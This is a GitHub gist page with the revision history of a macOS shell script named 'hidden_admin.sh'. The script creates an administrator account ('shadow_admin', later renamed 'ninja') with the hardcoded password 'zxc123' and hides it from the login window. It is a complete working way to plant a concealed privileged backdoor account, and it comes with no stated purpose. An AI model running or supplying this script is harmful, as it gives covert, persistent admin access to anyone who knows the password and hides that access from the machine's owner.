Skip to content

Instantly share code, notes, and snippets.

@yibojiang
Last active September 22, 2017 16:00
Show Gist options
  • Save yibojiang/d57941615455c5af838249bb64d7e84d to your computer and use it in GitHub Desktop.
Save yibojiang/d57941615455c5af838249bb64d7e84d to your computer and use it in GitHub Desktop.

Revisions

  1. yibojiang revised this gist Sep 22, 2017. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion hidden_admin.sh
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    #! usr/bin/sh
    #!/bin/sh
    # Create admin account
    sudo dscl . -create /Users/ninja UniqueID 401
    sudo dscl . -create /Users/ninja PrimaryGroupID 20
  2. yibojiang revised this gist Sep 22, 2017. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion hidden_admin.sh
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    #! user/bin/env sh
    #! usr/bin/sh
    # Create admin account
    sudo dscl . -create /Users/ninja UniqueID 401
    sudo dscl . -create /Users/ninja PrimaryGroupID 20
  3. yibojiang revised this gist Sep 22, 2017. 1 changed file with 11 additions and 11 deletions.
    22 changes: 11 additions & 11 deletions hidden_admin.sh
    Original file line number Diff line number Diff line change
    @@ -1,20 +1,20 @@
    #! user/bin/env sh
    # Create admin account
    sudo dscl . -create /Users/shadow_admin UniqueID 401
    sudo dscl . -create /Users/shadow_admin PrimaryGroupID 20
    sudo dscl . -create /Users/shadow_admin NFSHomeDirectory /var/shadow_admin
    sudo dscl . -create /Users/shadow_admin UserShell /bin/bash
    sudo dscl . -create /Users/shadow_admin RealName "ShadowAdmin"
    sudo dscl . -passwd /Users/shadow_admin zxc123
    sudo dscl . create /Users/shadow_admin IsHidden 1
    sudo dscl . -create /Users/ninja UniqueID 401
    sudo dscl . -create /Users/ninja PrimaryGroupID 20
    sudo dscl . -create /Users/ninja NFSHomeDirectory /var/ninja
    sudo dscl . -create /Users/ninja UserShell /bin/bash
    sudo dscl . -create /Users/ninja RealName "Ninja"
    sudo dscl . -passwd /Users/ninja zxc123
    sudo dscl . create /Users/ninja IsHidden 1

    # Create the user's home folder and own it to the new user:
    sudo mkdir /var/shadow_admin
    sudo chown -R shadow_admin /var/shadow_admin
    sudo mkdir /var/ninja
    sudo chown -R ninja /var/ninja

    sudo dscl . append /Groups/admin GroupMembership shadow_admin
    sudo dscl . append /Groups/admin GroupMembership ninja
    # Enable the hidden functions:
    sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool YES

    # Enable show other users:
    sudo defaults write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool TRUE
    sudo defaults write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool TRUE
  4. yibojiang revised this gist Dec 30, 2016. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion hidden_admin.sh
    Original file line number Diff line number Diff line change
    @@ -6,7 +6,6 @@ sudo dscl . -create /Users/shadow_admin NFSHomeDirectory /var/shadow_admin
    sudo dscl . -create /Users/shadow_admin UserShell /bin/bash
    sudo dscl . -create /Users/shadow_admin RealName "ShadowAdmin"
    sudo dscl . -passwd /Users/shadow_admin zxc123

    sudo dscl . create /Users/shadow_admin IsHidden 1

    # Create the user's home folder and own it to the new user:
  5. yibojiang revised this gist Dec 30, 2016. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions hidden_admin.sh
    Original file line number Diff line number Diff line change
    @@ -7,6 +7,8 @@ sudo dscl . -create /Users/shadow_admin UserShell /bin/bash
    sudo dscl . -create /Users/shadow_admin RealName "ShadowAdmin"
    sudo dscl . -passwd /Users/shadow_admin zxc123

    sudo dscl . create /Users/shadow_admin IsHidden 1

    # Create the user's home folder and own it to the new user:
    sudo mkdir /var/shadow_admin
    sudo chown -R shadow_admin /var/shadow_admin
  6. yibojiang created this gist Dec 30, 2016.
    19 changes: 19 additions & 0 deletions hidden_admin.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    #! user/bin/env sh
    # Create admin account
    sudo dscl . -create /Users/shadow_admin UniqueID 401
    sudo dscl . -create /Users/shadow_admin PrimaryGroupID 20
    sudo dscl . -create /Users/shadow_admin NFSHomeDirectory /var/shadow_admin
    sudo dscl . -create /Users/shadow_admin UserShell /bin/bash
    sudo dscl . -create /Users/shadow_admin RealName "ShadowAdmin"
    sudo dscl . -passwd /Users/shadow_admin zxc123

    # Create the user's home folder and own it to the new user:
    sudo mkdir /var/shadow_admin
    sudo chown -R shadow_admin /var/shadow_admin

    sudo dscl . append /Groups/admin GroupMembership shadow_admin
    # Enable the hidden functions:
    sudo defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool YES

    # Enable show other users:
    sudo defaults write /Library/Preferences/com.apple.loginwindow SHOWOTHERUSERS_MANAGED -bool TRUE